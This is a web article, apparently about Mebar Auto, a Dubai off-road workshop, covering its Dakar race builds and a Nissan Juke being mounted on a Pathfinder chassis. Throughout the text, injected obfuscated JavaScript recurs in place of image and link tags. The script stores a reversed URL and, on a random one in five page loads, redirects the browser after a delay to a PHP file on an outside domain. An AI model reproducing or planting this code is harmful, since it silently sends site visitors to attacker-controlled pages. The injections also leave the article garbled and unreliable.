$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Mebar-Auto.-Dubai-19-728×485.jpg” alt=”” width=”728″ height=”485″ />
At the moment Mebar is developing another 4.0-litre M440 with which it hopes to hit the Dakar sands next year. Confidence is enormous. After all, as Rashad mentions, their products are already Dakar proven.
“A few years ago we developed a race car, a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/toyota-hilux-at38/” target=”_blank”>Toyota Hilux, and it was quite successful with the owner. So much so that all his friends wanted a similar one! The owner, I won’t mention his name, but he’s a former World Champion in the T2 Class at Dakar, and he’s currenty racing with Kamaz [an outfit that has won the Dakar Rally Truck Category a record ten times].
“Unfortunately when he drives the car that we’ve built, he drives it like a truck! But the car does survive and takes all the abuse. His co-driver probably wouldn’t agree. He injured his back on their last run together.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Mebar-Auto.-Dubai-10-728×485.jpg” alt=”” width=”728″ height=”485″ />
Circling the F-150 for a second time means squeezing past a nearby Porsche Carrera RS. An odd sight in an off-road orientated workshop, as is the Chevrolet Corvette Stingray peeking its nose out of the corner across the floor. How have these ended up here? $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/bentley-flying-spur-stuck-in-the-sand/” target=”_blank”>As a Bentley Continental once tried to prove in Saudi Arabia, sportscars are not exactly your best bet when out in the desert…
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“The owner of the Corvette is also the owner of the Porsche, and I built two 4x4s for him. I refused them at first but he said, “you’re the only guy I trust’. So I said okay.
“We try to avoid recent/modern cars, simply because we don’t have the training on the electronics or the right tools. Not every workshop can work on every kind of car. That’s not possible. You need to focus to succeed in what you do. But we don’t mind the Corvette or the Porsche. They’re quite interesting to work on!”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Mebar-Auto.-Dubai-26-728×485.jpg” alt=”” width=”728″ height=”485″ />
crankandpsiton’s time at the Mebar facility is coming to an end. But before the voice recorder is stowed and the lenscap snapped back into place, there’s one project in particular that Rashad is keen to show us. It’s a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-nissan-juke-a-suitable-venue/” target=”_blank”>Nissan Juke, which over the next six months (fingers crossed) will be mounted onto the chassis of a Pathfinder so that as well as being an everyday driver, it can also tackle the desert of a weekend. Clever tuning means its should also be able to handle track driving competently too.
No, we’re not joking.
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“When you drive 4x4s, often they’re big and they’re heavy. When you’re driving a sports car you can’t go over gravel, or sand in this case. So we wanted something that fitted nicely in the middle, that handled the dunes, drove well on the track, and is still a daily driver with the basic luxuries: air-conditioning, cruise control, etc.
“The customer is from Kazakhstan, and he’s sent the car to us. We’re going to put a Nissan 5.6-litre V8 in with the drivetrain of a Pathfinder, and slim every down so that it fits the Juke.”
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Assumptions though that the Juke XM is a customer follow-up to the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/nissan-juke-r-its-alive/” target=”_blank”>480hp 3.8-litre twin-turbo V6 Juke-R are wide of the mark.
“It’s not something we are following or trying to compete with. It’s a completely different concept. I just feel the Juke’s shape is such a futuristic, different layout than you find on most cars. It is very different: it can fit off-road and on-track, so it’s got a nice crossover style.
“These projects are not profitable. They take so much time and so much effort that you can’t bill them to the customer. You just can’t. But we end up doing them because they’re fun, and so long as the costs are met…well, we just like a challenge!”
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So there we have it. Amidst the giants and Dakar contenders at Mebar Auto, the prized possession is a Nissan Juke.
Bet you didn’t see that coming, did you?
